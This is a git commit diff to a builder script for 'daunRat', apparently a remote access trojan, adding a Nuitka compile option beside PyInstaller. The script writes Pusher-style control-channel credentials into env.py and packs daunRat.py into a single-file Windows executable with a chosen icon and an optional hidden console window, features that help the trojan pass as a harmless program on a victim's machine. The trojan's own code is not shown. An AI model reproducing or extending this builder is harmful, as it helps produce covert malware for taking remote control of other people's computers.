build rat with nuitka option

This commit is contained in:
BarsTiger
2022-05-30 20:08:21 +03:00
parent a7c7b61884
commit 925314e187

View File

@@ -24,7 +24,7 @@ except:
json.dump(settings, f) json.dump(settings, f)
def build(): def build(mode: str) -> None:
with open('env.py', 'w') as f: with open('env.py', 'w') as f:
f.write(f""" f.write(f"""
app_id = "{settings["app_id"]}" app_id = "{settings["app_id"]}"
@@ -33,8 +33,17 @@ secret = "{settings["secret"]}"
cluster = "{settings["cluster"]}" cluster = "{settings["cluster"]}"
client_id = "{settings["client_id"]}" client_id = "{settings["client_id"]}"
""") """)
os.system(f'venv\\Scripts\\activate.bat & pyinstaller --onefile --icon "{settings["icon"]}" {settings["terminal"]} ' if mode == 'pyinstaller':
f'--add-data "daun/modules;." daunRat.py') os.system(f'venv\\Scripts\\activate.bat & pyinstaller --onefile --icon "{settings["icon"]}" '
f'{settings["terminal"]} --add-data "daun/modules;." daunRat.py')
print(f"Output exe saved to {os.getcwd()}\\dist")
elif mode == 'nuitka':
os.system(f'venv\\Scripts\\activate.bat & '
f'nuitka --standalone --assume-yes-for-downloads --remove-output --disable-dll-dependency-cache '
f'--onefile --windows-icon-from-ico={settings["icon"]} '
f'{"--windows-disable-console" if settings["terminal"] == "--windowed" else ""} '
f'daunRat.py')
print(f"Output exe saved to {os.getcwd()}")
input("Press enter to continue...") input("Press enter to continue...")
@@ -47,7 +56,8 @@ def update_settings(key: str, value: str) -> None:
while True: while True:
{ {
"build": build, "pyinstaller": lambda: build('pyinstaller'),
"nuitka": lambda: build('nuitka'),
"icon": lambda: update_settings("icon", input("icon path: ")), "icon": lambda: update_settings("icon", input("icon path: ")),
"app_id": lambda: update_settings("app_id", input("app_id: ")), "app_id": lambda: update_settings("app_id", input("app_id: ")),
"key": lambda: update_settings("key", input("key: ")), "key": lambda: update_settings("key", input("key: ")),
@@ -58,7 +68,11 @@ while True:
"show": lambda: update_settings("terminal", "--console") "show": lambda: update_settings("terminal", "--console")
}[ }[
ezztui.menu({ ezztui.menu({
'build': 'return', 'build': {
'pyinstaller': 'return',
'nuitka': 'return',
'back': 'back'
},
'settings': { 'settings': {
'icon': 'return', 'icon': 'return',
'console visibility': { 'console visibility': {